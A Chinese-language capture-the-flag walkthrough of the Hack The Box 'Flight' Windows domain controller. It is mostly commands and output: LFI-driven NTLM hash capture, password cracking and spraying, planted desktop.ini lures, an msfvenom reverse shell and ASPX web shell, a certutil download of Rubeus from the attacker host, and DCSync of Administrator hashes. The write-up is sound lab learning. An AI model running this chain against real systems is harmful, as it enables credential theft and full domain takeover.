Flight

1
2
3
4
5
ip a

10.129.228.120

TARGET="10.129.228.120"

01.信息搜集

靶机发现

目标靶机 ip 为 10.129.228.120

1
2
3
4
5
6
7
8
fscan -h $TARGET > fscan.log

53,80,88,135,139,389,445,636,3268,3269

grep -Eo '[0-9]+\.[0-9]+\.[0-9]+\.[0-9]+:[0-9]+' result.txt | sed 's/^.*://' | sort -nu

http://10.129.228.120:139
http://10.129.228.120:80

两个 http

02.渗透打点

端口扫描

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
sudo nmap -sT -sV -sC -O -p 53,80,88,135,139,389,445,636,3268,3269 $TARGET -oA nmapscan/detail

PORT     STATE SERVICE       VERSION
53/tcp   open  domain        Simple DNS Plus
80/tcp   open  http          Apache httpd 2.4.52 ((Win64) OpenSSL/1.1.1m PHP/8.1.1)
|_http-server-header: Apache/2.4.52 (Win64) OpenSSL/1.1.1m PHP/8.1.1
|_http-title: g0 Aviation
| http-methods:
|_  Potentially risky methods: TRACE
88/tcp   open  kerberos-sec  Microsoft Windows Kerberos (server time: 2026-07-13 15:06:38Z)
135/tcp  open  msrpc         Microsoft Windows RPC
139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: flight.htb, Site: Default-First-Site-Name)
445/tcp  open  microsoft-ds?
636/tcp  open  tcpwrapped
3268/tcp open  ldap          Microsoft Windows Active Directory LDAP (Domain: flight.htb, Site: Default-First-Site-Name)
3269/tcp open  tcpwrapped
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running (JUST GUESSING): Microsoft Windows 2019|10 (97%)
OS CPE: cpe:/o:microsoft:windows_server_2019 cpe:/o:microsoft:windows_10
Aggressive OS guesses: Microsoft Windows Server 2019 (97%), Microsoft Windows 10 1903 - 22H2 (91%)
No exact OS matches for host (test conditions non-ideal).
Service Info: Host: G0; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
|_clock-skew: 6h59m59s
| smb2-time:
|   date: 2026-07-13T15:07:21
|_  start_date: N/A
| smb2-security-mode:
|   3.1.1:
|_    Message signing enabled and required

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 111.13 seconds


DNS / Kerberos / LDAP / SMB 全开

域名 flight.htb

1
echo "10.129.228.120 flight.htb" | sudo tee -a /etc/hosts

smb 探测
SMB 匿名可登录但无共享目前没有可写的入口，后面拿到凭据才能用

1
2
3
4
5
6
smbclient -L //10.129.228.120 -N
Anonymous login successful

	Sharename       Type      Comment
	---------       ----      -------
SMB1 disabled -- no workgroup available

HTTP-80
航班的首页
g0 Aviation (go 航空)
Designed by Geiseric & JDgodd

看着是自研

爆破子域名 子页面

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
ffuf -w /Users/choco/Project/HackTool/wordlists/seclists/Discovery/DNS/subdomains-top1million-5000.txt -H "Host: FUZZ.flight.htb" -u "http://flight.htb/"

# 太多了 得删除 -fs <size>
ffuf -w /Users/choco/Project/HackTool/wordlists/seclists/Discovery/DNS/subdomains-top1million-5000.txt -H "Host: FUZZ.flight.htb" -u "http://flight.htb/" -fs 7069
school                  [Status: 200, Size: 3996, Words: 1045, Lines: 91, Duration: 286ms]
12345                   [Status: 200, Size: 582, Words: 45, Lines: 15, Duration: 272ms]
6                       [Status: 200, Size: 578, Words: 45, Lines: 15, Duration: 276ms]

echo "10.129.228.120 school.flight.htb 12345.flight.htb 6.flight.htb" | sudo tee -a /etc/hosts


gobuster dir -u http://flight.htb -w /Users/choco/Project/HackTool/wordlists/seclists/Discovery/Web-Content/common.txt -t 50
/images
/css
/js

gobuster dir -u http://school.flight.htb -w /Users/choco/Project/HackTool/wordlists/seclists/Discovery/Web-Content/common.txt -t 50
images
styles

gobuster dir -u http://12345.flight.htb -w /Users/choco/Project/HackTool/wordlists/seclists/Discovery/Web-Content/common.txt -t 50
images
css
js

gobuster dir -u http://6.flight.htb -w /Users/choco/Project/HackTool/wordlists/seclists/Discovery/Web-Content/common.txt -t 50
images
js

怎么会这样
12345 6 和默认是一样的

http://school.flight.htb 不一样
Template By Domain Name

1
2
3
http://school.flight.htb/index.php?view=$path.html

dirsearch -u http://school.flight.htb/ zip,txt,php

爆破一下吧 GET /index.php?view=xxx.html

可以直接http://school.flight.htb/about.html? 相当于 view 会渲染这个页面

1
2
3
4
http://school.flight.htb/index.php?view=/../../../../../../../etc/passwd

Suspicious Activity Blocked!
Incident will be reported

是 ../ \ 被 WAF 了

windows 有没有类似 linux /etc/passwd 的文件

C:/Windows/System32/config/SAM 不行
C:/Windows/System32/drivers/etc/hosts 

1
2
3
4
5
6
#      102.54.94.97     rhino.acme.com          # source server
#       38.25.63.10     x.acme.com              # x client host

# localhost name resolution is handled within DNS itself.
#	127.0.0.1       localhost
#	::1             localhost

可以 LFI 之后读什么可以 shell 呢.

Hash 窃取

Windows 的 PHP include() 不仅能读本地文件，还能读 UNC 路径（//攻击机 IP/共享名/任意文件）。当 Windows 去访问这个远程共享时，它会用当前服务账户的凭据去做 NTLM 认证 —— 你只要在攻击机上开个监听，就能抓到那个账户的 NTLMv 2 Hash。

也就是 SMB 中继攻击

攻击 原理 被 signing 影响？
NTLM Relay (中继) 抓到 hash → 转发给另一台机器的 SMB 去认证 ✅ 被阻止 — 签名会校验转发后的请求是否合法
UNC Hash 捕获 (咱们要做的) 靶机直接连到你的攻击机，把 hash 发给你 ❌ 不受影响 — 你的 Responder 就是服务器，它发的就是你收的，没有”转发”这回事


开 Responder 监听
Responder 会在你本机伪装成一个 SMB 服务器。靶机连过来想读共享文件时，会自动把当前用户的 NTLMv 2 hash 发过来认证。
或者使用 Impacket 的 smbserver,创建一个临时共享，共享名为 share，路径指向当前目录

1
sudo python3 Responder.py -I utun5 -i 10.10.17.30 -v

请求

1
2
3
4
5
//10.10.17.30/share/anything

[SMB] NTLMv2-SSP Client   : 10.129.228.120
[SMB] NTLMv2-SSP Username : flight\svc_apache
[SMB] NTLMv2-SSP Hash     : svc_apache::flight:e3eceb7ed7eae4cd:F8C8C748B62356F53F712DE5956C2510:0101000000000000807C4C61EB12DD016D7C02B0CEAF704B0000000002000800540058004800300001001E00570049004E002D005400580042005900320058004E00390058005500380004003400570049004E002D005400580042005900320058004E0039005800550038002E0054005800480030002E004C004F00430041004C000300140054005800480030002E004C004F00430041004C000500140054005800480030002E004C004F00430041004C0007000800807C4C61EB12DD0106000400020000000800300030000000000000000000000000300000BF55591AB73F6FBF0773CD0C78D0C739A80A64837F0E98B583B59E50D93D85320A001000000000000000000000000000000000000900200063006900660073002F00310030002E00310030002E00310037002E00330030000000000000000000

NTLMv 2 (Net-NTLMv 2) -m 5600 DOMAIN\USER::SERVER:CHALLENGE:RESPONSE:…

1
2
3
4
5
hashcat -m 5600 hash.txt ~/Project/HackTool/wordlists/rockyou.txt

S@Ss!K@*t13

svc_apache:flight:S@Ss!K@*t13

第一个有效的域凭据 recall manager ,可以先枚举域用户看看

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
lookupsid.py flight.htb/flight@10.129.228.120 -no-pass
# 现代 Windows 默认关了匿名 SAMR 访问



GetADUsers.py -all flight.htb/svc_apache:'S@Ss!K@*t13' -dc-ip 10.129.228.120
Name                  Email                           PasswordLastSet      LastLogon
--------------------  ------------------------------  -------------------  -------------------
Administrator                                         2022-09-23 04:17:02.343127  2026-07-13 22:57:45.843549
Guest                                                 <never>              <never>
krbtgt                                                2022-09-23 03:48:01.636722  <never>
S.Moon                                                2022-09-23 04:08:22.671163  <never>
R.Cold                                                2022-09-23 04:08:22.733765  <never>
G.Lors                                                2022-09-23 04:08:22.765944  <never>
L.Kein                                                2022-09-23 04:08:22.796386  <never>
M.Gold                                                2022-09-23 04:08:22.827653  <never>
C.Bum                                                 2022-09-23 04:08:22.858670  2022-09-23 05:50:24.191582
W.Walker                                              2022-09-23 04:08:22.889946  <never>
I.Francis                                             2022-09-23 04:08:22.921986  <never>
D.Truff                                               2022-09-23 04:08:22.952399  <never>
V.Stevens                                             2022-09-23 04:08:22.983734  <never>
svc_apache                                            2022-09-23 04:08:23.014931  2026-07-13 22:57:31.812296
O.Possum                                              2022-09-23 04:08:23.046319  <never>


# 密码复用测试 主要看Administrator C.Bum
netexec smb 10.129.228.120 -u users.txt -p 'S@Ss!K@*t13' --no-bruteforce 
[+] flight.htb\S.Moon:S@Ss!K@*t13

S.Moon 有了

svc_apache 是服务账户，权限通常有限且高度受限；而 S.Moon 是人类用户，更可能对某些文件共享有写入权限。
看看他能访问哪些共享

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
smbclient -L //10.129.228.120 -U 'flight.htb/S.Moon'
Password for [FLIGHT.HTB\S.Moon]:
	Sharename       Type      Comment
	---------       ----      -------
	ADMIN$          Disk      Remote Admin
	C$              Disk      Default share
	IPC$            IPC       Remote IPC
	NETLOGON        Disk      Logon server share
	Shared          Disk
	SYSVOL          Disk      Logon server share
	Users           Disk
	Web             Disk
SMB1 disabled -- no workgroup available

-U
# shared为空 users有desktop.ini Web就是共享了源码 lfi.html 这个替换掉就shell了 PUT NT_STATUS_ACCESS_DENIE
# desktop.ini
> cat desktop.ini
��
[.ShellClassInfo]
LocalizedResourceName=@%SystemRoot%\system32\shell32.dll,-21813

desktop.ini: 去 shell32.dll 这个文件中，找到 ID 为 -21813 的字符串，并把它的内容作为这个文件夹的显示名称

现在已经能登录 svc_apache,shell 的意义不大 还是提更大的看看 也只有 Users 有权力

1
smbclient.py 'flight.htb/S.Moon:S@Ss!K@*t13@10.129.228.120'

共享名叫 Shared，不是私人目录。推测这个盒子上其他用户（C.Bum、管理员等）会偶尔打开这个文件夹
可能有 cbum 的定时任务? Windows Explorer 在渲染文件夹时，会自动解析某些文件来找图标/缩略图/样式。如果不加防范，这些文件可以指向任意 UNC 路径。其中 desktop.ini 进文件夹即触发（找图标资源）

文件 触发条件
desktop.ini 进文件夹即触发（找图标资源）
.scf 进文件夹即触发（找图标）
.lnk 进文件夹即触发（找图标，如果指向 UNC）
.url 进文件夹即触发（找图标）
.library-ms 进文件夹即触发
.searchConnector-ms 进文件夹即触发

ntlm_theft 工具就是上面这些文件类型的一键生成器。给它一个攻击机 IP，它生成一堆指向你 IP 的恶意文件。你挑能上传的（这里只有 .ini），扔到共享里，等着钓鱼

1
cd /tmp/ntlm_theft && python3 ntlm_theft.py --generate all --server 10.10.17.30 --filename htb 2>&1

成功获取到 cbum

1
2
3
c.bum::flight.htb:6d4c5784ba17e95d:2B87674E4652AC16DB2CA43F57B43F60:01010000000000000080C938F512DD01606ED25BB860ED2B00000000020008004E0052004500430001001E00570049004E002D0048004D0051004D00490055003400430047003900490004003400570049004E002D0048004D0051004D0049005500340043004700390049002E004E005200450043002E004C004F00430041004C00030014004E005200450043002E004C004F00430041004C00050014004E005200450043002E004C004F00430041004C00070008000080C938F512DD0106000400020000000800300030000000000000000000000000300000BF55591AB73F6FBF0773CD0C78D0C739A80A64837F0E98B583B59E50D93D85320A001000000000000000000000000000000000000900200063006900660073002F00310030002E00310030002E00310037002E00330030000000000000000000

Tikkycoll_431012284

获取新的凭据 这是一个常驻的用户

1
2
3
4
5
6
7
smbclient.py 'flight.htb/c.bum:Tikkycoll_431012284@10.129.228.120'

# use Users
# cd C.Bum/Desktop
# get user.txt
# !cat user.txt
03f1c239b03f8fa683131959cc963220

去 web 建立一个 revshell

1
2
3
4
# 制作(kali)
msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.17.30 LPORT=4444 -f exe -o re.exe

# RunasCs.exe

PUT传入 windows

1
.\Run.exe c.bum Tikkycoll_431012284 -l 2 "C:\xampp\htdocs\school.flight.htb\re.exe"

没有 RunasCS 就只是网站权限而已

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
C:\Windows\system32>whoami
whoami
flight\c.bum

whoami /groups

GROUP INFORMATION
-----------------

Group Name          Type          
flight\WebDevs      Group   


C:\inetpub\temp>cd IIS Temporary Compressed Files
cd IIS Temporary Compressed Files
Access is denied.

C:\inetpub\development>dir
dir
 Volume in drive C has no label.
 Volume Serial Number is 1DF4-493D

 Directory of C:\inetpub\development

07/13/2026  11:12 AM    <DIR>          .
07/13/2026  11:12 AM    <DIR>          ..
04/16/2018  02:23 PM             9,371 contact.html
07/13/2026  11:12 AM    <DIR>          css
07/13/2026  11:12 AM    <DIR>          fonts
07/13/2026  11:12 AM    <DIR>          img
04/16/2018  02:23 PM            45,949 index.html
07/13/2026  11:12 AM    <DIR>          js
               2 File(s)         55,320 bytes
               6 Dir(s)   5,106,491,392 bytes free

发现还有一个 IIS 网站 

1
2
3
4
5
6
7
8
9
10
11
12
13
Contact Information
Pellentesque quis turpis et lectus auctor gravida ut vel orci. Proin et tempus nunc. Proin sed justo neque. Donec et tempus ligula, et gravida elit. Vivamus vitae placerat metus.

Proin dignissim rhoncus
Aliquam elit metus, varius in ligula sed, posuere aliquam nibh. Class aptent taciti sociosqu ad litora torquent per conubia nostra, per inceptos himenaeos. Duis vel rhoncus lectus.

Duis vehicula quis elit
Donec nisl felis, eleifend eu diam ut, condimentum finibus erat. Aliquam luctus commodo ultricies. Etiam in tellus mi. Nam lobortis est magna, et rutrum ipsum lacinia id.

Duis vel rhoncus lectus
Mauris aliquet eget lorem a tempor. Morbi in dui sed orci placerat ultrices sed a mi. Praesent eget porttitor enim. In tempor eros mi. Morbi a lobortis ante. Sed blandit vitae diam commodo ultricies.

Leave us a message

WebDev 组 这个 IIS 权限似乎更大 IS Temporary Compressed Files Access is denied.的

1
echo test > C:\inetpub\development\development\1.txt

可以写入

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
C:\inetpub\development>echo { base64 -d } > shell.aspx   # 得base64解码 不然笔记写不了 有怪码

PCVAUGFnZSBMYW5ndWFnZT1DIyVePl48JXZhciBwPW5ldyBTeXN0ZW0uRGlhZ25vc3RpY3MuUHJvY2Vzc3tTdGFydEluZm89e0ZpbGVOYW1lPWNtZC5leGUsQXJndW1lbnRzPS9jICtSZXF1ZXN0W2NdLFVzZVNoZWxsRXhlY3V0ZT1mYWxzZSxSZWRpcmVjdFN0YW5kYXJkT3V0cHV0PXRydWV9fTtwLlN0YXJ0KCk7JV4+XjwlPXAuU3RhbmRhcmRPdXRwdXQuUmVhZFRvRW5kKCklXj4K 

C:\inetpub\development>dir
	07/13/2026  11:38 AM    <DIR>          .
	07/13/2026  11:38 AM    <DIR>          ..
	07/13/2026  11:37 AM    <DIR>          development
	07/13/2026  11:38 AM               221 shell.aspx
               1 File(s)            221 bytes
               3 Dir(s)   5,102,972,928 bytes free

C:\inetpub\development>curl http://127.0.0.1:8000/shell.aspx?c=whoami
curl http://127.0.0.1:8000/shell.aspx?c=whoami
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100    31  100    31    0     0     17      0  0:00:01  0:00:01 --:--:--    17
iis apppool\defaultapppool

curl http://127.0.0.1:8000/shell.aspx?c=%77%68%6f%61%6d%69%20%2f%70%72%69%76  // whoami /priv
Privilege Name                Description                               State
============================= ========================================= ========
SeAssignPrimaryTokenPrivilege Replace a process level token             Disabled
SeIncreaseQuotaPrivilege      Adjust memory quotas for a process        Disabled
SeMachineAccountPrivilege     Add workstations to domain                Disabled
SeAuditPrivilege              Generate security audits                  Disabled
SeChangeNotifyPrivilege       Bypass traverse checking                  Enabled
SeImpersonatePrivilege        Impersonate a client after authentication Enabled
SeCreateGlobalPrivilege       Create global objects                     Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set            Disabled

IIS 虚拟账户有特殊属性：
“Services that run as virtual accounts access network resources by using the credentials of the computer account in the format <domain>\<computer>.”

也就是说，IIS 虚拟账户对外做 Kerberos 认证时，用的是 G 0$（机器账户）的身份。用 Rubeus tgtdeleg 可以把机器账户的 TGT 吐出来。
有了 G0$ 的 TGT：
1.机器账户是域控本身（G0 就是这台 DC）
2.DC 的机器账户天然有 DCSync 权限（目录复制）
3.DCSync = 直接从 DC 拉任意用户的 hash，包括 Administrator

下载

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
certutil -urlcache -f http://10.10.17.30:9000/Rubeus.exe C:\inetpub\development\Rubeus.exe

curl "http://127.0.0.1:8000/shell.aspx?c=C:\inetpub\development\Rubeus.exe%20tgtdeleg%20/nowrap"

[*] Action: Request Fake Delegation TGT (current user)

[*] No target SPN specified, attempting to build 'cifs/dc.domain.com'
[*] Initializing Kerberos GSS-API w/ fake delegation for target 'cifs/g0.flight.htb'
[+] Kerberos GSS-API initialization success!
[+] Delegation requset success! AP-REQ delegation ticket is now in GSS-API output.
[*] Found the AP-REQ delegation ticket in the GSS-API output.
[*] Authenticator etype: aes256_cts_hmac_sha1
[*] Extracted the service ticket session key from the ticket cache: qmPBYjj2EUQB76k3YZ8ZXLUSYgkbqFqKzMN+Ywf10fM=
[+] Successfully decrypted the authenticator
[*] base64(ticket.kirbi):

      doIFVDCCBVCgAwIBBaEDAgEWooIEZDCCBGBhggRcMIIEWKADAgEFoQwbCkZMSUdIVC5IVEKiHzAdoAMCAQKhFjAUGwZrcmJ0Z3QbCkZMSUdIVC5IVEKjggQgMIIEHKADAgESoQMCAQKiggQOBIIECqg02iwCzj3IgzXlAb52dU2srSji7774C8vXv7p53njmZ3oKGDyrR5p0RC8TkKnPFvtf9jWoecsXnO+Q+/5uB2GVaiqF54n9+E/IjKAjJxYHSkdpA+E4kaC8MBPBax08tB3csd8KDpd6VJ0sqxmpHIgzyC8h1DTtmnwmVJ+QjUKDIHTJMNdeTBR+MJsearWznKij2lD4v7y2e0KlR+BQD3DWPzJcWnooIhog+VB10sgEYNMHNyiQ3HoxzUpYMQxWCvWWc6RtzgOu/mq96zKqrg4q5O5Ye28x975F4qqrAP6I1g6/+EvMxxN1yx3plsRIca1mTjGACFVEKZF1sLaHz0jbT5NijdppmlDXdHevrQc4lyzUHWwBpsyWwm10CgZWdVEExEaFK9DeHqpzRlv77FT/cipnaV3818Ha3OuWRo+vFZB+DJnxTOYn6zvHF1mOKmavGcM+qP1Ag9o5hXlzAl81ayRwAJIf6gyW5McPVGP15jZuHbAXnq0rxrC0FTMZHkcle9LlNHonk7YblLVb3CsuFVo/xswGdmdueQ7iX2AfN63qF8Ra+OX/7CzA7syUp3YBrGwUicbqQdhG1xRIUWyAnSXQEkx0aoyKS7FjSQRBEdobeWEpTMeKxebYL0Kwn6pyKgXS8L++zsB+2ge9kHbP72tbhLsHadS/lq0Db2+IvvRzMGI1saTXKn2Um+3tp/OzZVnQ8rUE9aq8j6mc9RIU+HzJWYeZmovz0an9nQKWeIl646FZHqGgyocLLXWs1XHxcsaFrXCB9PaYlJHAcNS598tVd8dkyoOuEEoI+SlCT0A0LswWp1DOaqlh8Mig3kUT9Mt9BWvL49+2oNVpogoiOV6hpZQXYL3zY8w91Pg75pEFjOW+k36NDpq8gYHotptGttpRBBgbaArHbpdEBi5duHJfDHuTDWKKMpU1C7bScvK5atQ4Mn41lGjk01avCcUg5zf/CI7RHI0LcDs92wS0p1f6eLHcVc74mTZ3q2dUL0NXMuYjbQ1plFIOxNn/3tbkR8s7Lcz9KnnwNWCbIIs0Xj0NHxMbELFVYgSpdE2uNr1N47Kdt5iNquNy1nENCw2+p2AGxhrs2vNZK9gGM5rw731f39cvx27hk6bkm8HhLaol4kOFLNBoolMcNDl0TJEdktA8PfiCpmARUp1qIxn+fMgoHeF4H9ua14ltjl9aQ3SXRjkxp6T9ZNuoDaKl2WJiMoPCOvn8neHoEuno+b0afeIQ855nZUWhw8nv7y52sJbXxm6rrHmLlO4pX/3+zj4Ddkl2EMa1Q1xrM7zKsgr1tjx1UGDfsLwQZz4cE8bV25pxEJJvA+Qi52Lhky4TbtTYlWT1Y11XfED0RYkl9ov1mSumxNAz4slto4HbMIHYoAMCAQCigdAEgc19gcowgceggcQwgcEwgb6gKzApoAMCARKhIgQgySqhKS5c2cJ0Ym+1kIvSo2OPlx5JW67ETiD0GbWmY4ShDBsKRkxJR0hULkhUQqIQMA6gAwIBAaEHMAUbA0cwJKMHAwUAYKEAAKURGA8yMDI2MDcxMzE4NTQxMVqmERgPMjAyNjA3MTQwNDU0MTFapxEYDzIwMjYwNzIwMTg1NDExWqgMGwpGTElHSFQuSFRCqR8wHaADAgECoRYwFBsGa3JidGd0GwpGTElHSFQuSFRC

TGT 到手

解密出 kirbi

1
2
3
4
5
6
echo "" | base64 -d > ticket.kirbi

# kirbi → ccache (给 impacket 用)
kirbi2ccache ticket.kirbi ticket.ccache
[+] Parsing kirbi file /Users/choco/Project/HackTheBox/Flight/web/ticket.kirbi
[+] Done!
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
# 同步时间
sudo ntpdate -u flight.htb

# DCSync 拿 Administrator hash
KRB5CCNAME=ticket.ccache secretsdump.py -k -no-pass g0.flight.htb -just-dc-user Administrator -target-ip 10.129.228.120
Impacket v0.13.0 - Copyright Fortra, LLC and its affiliated companies
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
Administrator:500:aad3b435b51404eeaad3b435b51404ee:43bbfc530bab76141b12c8446e30c17c:::
[*] Kerberos keys grabbed
Administrator:aes256-cts-hmac-sha1-96:08c3eb806e4a83cdc660a54970bf3f3043256638aea2b62c317feffb75d89322
Administrator:aes128-cts-hmac-sha1-96:735ebdcaa24aad6bf0dc154fcdcb9465
Administrator:des-cbc-md5:c7754cb5498c2a2f
[*] Cleaning up...

# system登陆
C:\Users\Administrator\Desktop> type root.txt

LFI → NTLM Hash(svc_apache) → 密码喷射(S.Moon) → NTLM Theft(desktop.ini) → C.Bum Hash → PHP Shell → RunasCs(C.Bum) → ASPX Shell(IIS 虚拟账户) → Rubeus TGT(G 0$) → DCSync → Administrator